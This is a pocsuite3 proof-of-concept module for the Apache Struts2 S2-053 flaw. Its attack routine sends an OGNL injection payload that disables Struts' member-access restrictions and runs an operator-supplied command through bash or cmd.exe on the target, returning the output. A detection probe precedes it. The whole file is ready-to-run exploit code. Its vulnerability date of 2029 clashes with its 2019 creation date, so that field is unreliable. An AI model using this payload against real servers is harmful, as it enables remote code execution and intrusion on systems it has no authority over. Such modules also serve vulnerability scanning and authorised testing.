import random
from collections import OrderedDict
from urllib.parse import quote

from lxml import etree

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2029-5-8'
    createDate = '2019-5-8'
    updateDate = '2019-5-8'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-053']
    name = 'Apache Struts2 s2-053'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.0.0 - 2.3.33\nStruts 2.5 - Struts 2.5.10.1'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10.1; '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o['param'] = OptString('message', description='url参数')
        o['command'] = OptString('ls', description='执行的命令')
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        headers = {
            "Content-Type": 'application/x-www-form-urlencoded'
        }
        data = "message={exp}"
        check_poc = "%25%7B{num1}%2B{num2}%7D"
        num1 = random.randint(10000, 100000)
        num2 = random.randint(10000, 100000)
        poc = check_poc.format(num1=num1, num2=num2)
        data = data.format(exp=poc)
        html = requests.post(self.url, data, headers=headers).text
        nn = str(num1 + num2)
        if nn in html:
            result["VerifyInfo"] = {
                "URL": self.url,
            }
            return result
        return False

    def _attack(self):
        result = {}
        p = self._check()
        if p:
            url = self.url.rstrip('/')
            command = self.get_option("command")
            payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + command + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
            headers = {"Content-Type": "application/x-www-form-urlencoded"}
            res = requests.post(url, data=f"{self.get_option('param')}=" + quote(payload) + "%0A", headers=headers)
            tree = etree.HTML(res.text)
            if res.status_code == 200:
                result_cmd = tree.xpath("//*[@type=\"hidden\"]/@id")
                result["VerifyInfo"] = {
                    "result": result_cmd,
                }
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
